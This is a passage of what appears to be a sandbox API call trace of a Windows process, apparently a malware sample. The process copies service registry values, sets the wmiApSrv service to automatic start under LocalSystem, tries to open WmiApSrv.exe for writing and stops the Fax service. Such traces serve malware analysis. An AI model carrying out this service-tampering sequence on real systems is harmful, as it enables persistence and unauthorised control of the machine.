dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0218.520] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0218.520] RegCloseKey (hKey=0x148) returned 0x0 [0218.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0218.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0218.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0218.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0218.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0218.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0218.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0218.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0218.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.569] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.570] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.570] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0218.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0218.570] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0218.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.571] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.572] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0218.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0218.572] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0218.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.572] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.573] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.573] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0218.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0218.573] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.574] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.575] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.575] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.575] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.575] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0218.575] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0218.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0218.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0218.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0218.575] LocalFree (hMem=0x7f03d0) returned 0x0 [0218.575] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0218.575] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0218.576] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0218.597] CloseServiceHandle (hSCObject=0x803990) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.598] RegCloseKey (hKey=0x148) returned 0x0 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0218.598] RegCloseKey (hKey=0x154) returned 0x0 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0218.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0218.598] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0218.598] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0218.598] GetLastError () returned 0x20 [0218.598] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0218.599] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0218.599] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0218.599] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x20) returned 0x8038a0 [0218.600] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0218.600] GetLastError () returned 0x426 [0218.600] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0218.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0218.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0218.601] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0218.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.601] WideCharToMultiByte (in: CodePage=0x0, 